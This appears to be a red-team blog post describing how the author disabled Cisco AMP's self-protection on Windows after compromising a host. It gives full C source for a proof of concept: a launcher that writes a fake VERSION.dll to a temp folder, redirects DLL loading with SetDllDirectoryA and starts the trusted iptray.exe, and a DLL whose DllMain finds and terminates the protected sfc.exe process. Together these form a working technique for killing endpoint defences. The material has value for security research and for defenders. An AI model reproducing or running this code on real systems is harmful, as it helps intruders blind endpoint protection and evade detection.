Sometimes when you are in the middle of an engagement, you will come across a hurdle which requires a quick bit of research, coding, and a little bit of luck. This was the case with a recent engagement in which we came across Cisco AMP, an endpoint protection technology which provides analysis of processes, provides spawn chains, and exposed a bunch of the other goodies you have come to expect from EDR products, including our old friend…. self-protection.

We’ve explored self-protection techniques over a number of posts, often looking at just how the technology can be bypassed on Windows and MacOS operating systems. In this post I want to show another method which can be used to work around this protection, and which was effective against the Cisco AMP agent on Windows.

SFC.EXE

So you have compromised your endpoint, you’ve elevated to local Administrator, you ps, and you spot sfc.exe (hopefully in red thanks to harleyQu1nn’s processColor.cna). Elevating to SYSTEM, you find that the process can’t be killed and you suspect self-protection has been used… what now?

As shown in previous posts on the subject, we often find that self-protection has a chain of trust, after all, the software has to be removed at some point even if that is during the upgrade process.

If we check out the control panel, we find that Cisco AMP provides the option to terminate the protection service:

Of course we are required to provide a one-time password when disabling the service, preventing people like us from simply turning off the service when compromising an endpoint. But this does tell us one thing… this application, iptray.exe, has the ability to disable Cisco AMP’s service.

Let’s attach a debugger to the iptray.exe process and see just how this functionality works:

OK, so that didn’t go quite to plan. Here we see self-protection is stopping us from simply injecting or debugging the iptray.exe process. This does however give us another data point, we know that iptray.exe is under the same protection umbrella as sfc.exe. Based on experience, this often means that if we can find a way to execute our own code within a shielded process, we may be able to leverage this to terminate the sfc.exe process. So how can we have iptray.exe load and execute our custom code? Let’s see if there are any DLLs which we can hijack.

DLL Injection via SetDLLDirectory

Loading ProcMon, we see a number of attempts to load DLLs, many of which fail on first attempt:

Knowing this, let’s create a new DLL (for our POC we will use VERSION.DLL, but any DLL will be fine) and use this to load up our custom code. First we will need to shift the DLL load path to a more friendly location that we have write permissions to. To have Windows load the DLL from an arbitrary directory, we can leverage the Win32 API call SetDLLDirectory which allows us to set a path that subsequent DLLs should be loaded when we call iptray.exe, for example:

SetDllDirectoryA(“C:\\Users\\xpn\\AppData\\Local\\Temp”);

With that done, we now see that DLLs are loading from our provided path:

Let’s create a simple DLL which will show a nice message box when loaded:

OK, so now we have iptray.exe running our custom code (and therefore our code is executing within the self-protection umbrella). Next need to search for the sfc.exe process and attempt to kill the service. To do this we can use the Win32 API’s Process32First/Process32Next. Once found, we can use TerminateProcess to stop the process. This gives us our POC code of:

#include "stdafx.h" #include "resource.h" #include <Windows.h> #include <Fltuser.h> HMODULE g_hModule = NULL; int CALLBACK WinMain( _In_ HINSTANCE hInstance, _In_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nCmdShow ) { char tempPath[MAX_PATH + 1], tempDll[MAX_PATH + 1]; DWORD bytesWritten; // Grab our DLL from a resource HRSRC res = FindResource(g_hModule, MAKEINTRESOURCEW(IDR_RT_RCDATA1), L"RT_RCDATA"); HGLOBAL resMod = LoadResource(g_hModule, res); void *resource = LockResource(resMod); DWORD sizeOfResource = SizeofResource(g_hModule, res); GetTempPathA(sizeof(tempPath), tempPath); snprintf(tempDll, sizeof(tempDll), "%s\\%s", tempPath, "VERSION.dll"); // Set DLL path to somewhere we control SetDllDirectoryA(tempPath); // Write our DLL to a temp path HANDLE tempDllHandle = CreateFileA(tempDll, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, 0, NULL); WriteFile(tempDllHandle, resource, sizeOfResource, &bytesWritten, NULL); CloseHandle(tempDllHandle); STARTUPINFOA si; PROCESS_INFORMATION pi; memset(&si, 0, sizeof(si)); si.cb = sizeof(si); memset(&pi, 0, sizeof(pi)); // Spawn iptray.exe which should load our VERSION.dll CreateProcessA(NULL, (LPSTR)"C:\\Program Files\\Cisco\\AMP\\6.1.7\\iptray.exe", NULL, NULL, false, 0, NULL, tempPath, &si, &pi); return 0; }

Our injected DLL will look something like this:

#include "stdafx.h" #include <tlhelp32.h> __declspec(dllexport) void GetFileVersionA(void) { } __declspec(dllexport) void GetFileVersionInfoByHandle(void) { } __declspec(dllexport) void GetFileVersionInfoExW(void) { } __declspec(dllexport) void GetFileVersionInfoSizeA(void) { } __declspec(dllexport) void GetFileVersionInfoSizeExW(void) { } __declspec(dllexport) void GetFileVersionInfoSizeW(void) { } __declspec(dllexport) void GetFileVersionInfoW(void) { } __declspec(dllexport) void VerFindFileA(void) { } __declspec(dllexport) void VerFindFileW(void) { } __declspec(dllexport) void VerInstallFileA(void) { } __declspec(dllexport) void VerInstallFileW(void) { } __declspec(dllexport) void VerLanguageNameA(void) { } __declspec(dllexport) void VerLangugageNameW(void) { } __declspec(dllexport) void VerQueryValueA(void) { } __declspec(dllexport) void VerQueryValueW(void) { } BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { HANDLE h, p, toolhelp; SC_HANDLE sc, s; DWORD written; SERVICE_STATUS status; switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: toolhelp = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 pe; Process32First(toolhelp, &pe); do { if (strncmp(pe.szExeFile, "sfc.exe", 7) == 0) { p = OpenProcess(PROCESS_TERMINATE, false, pe.th32ProcessID); TerminateProcess(p, 1); break; } } while (Process32Next(toolhelp, &pe)); ExitProcess(0); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }

OK, with our code set, let’s see our POC in action:

And there we have it. Now this is by no means the only way to terminate Cisco AMP’s protected processes, but we think it shows a nice way of hijacking a trusted process to disable self-protection using SetDLLDirectory.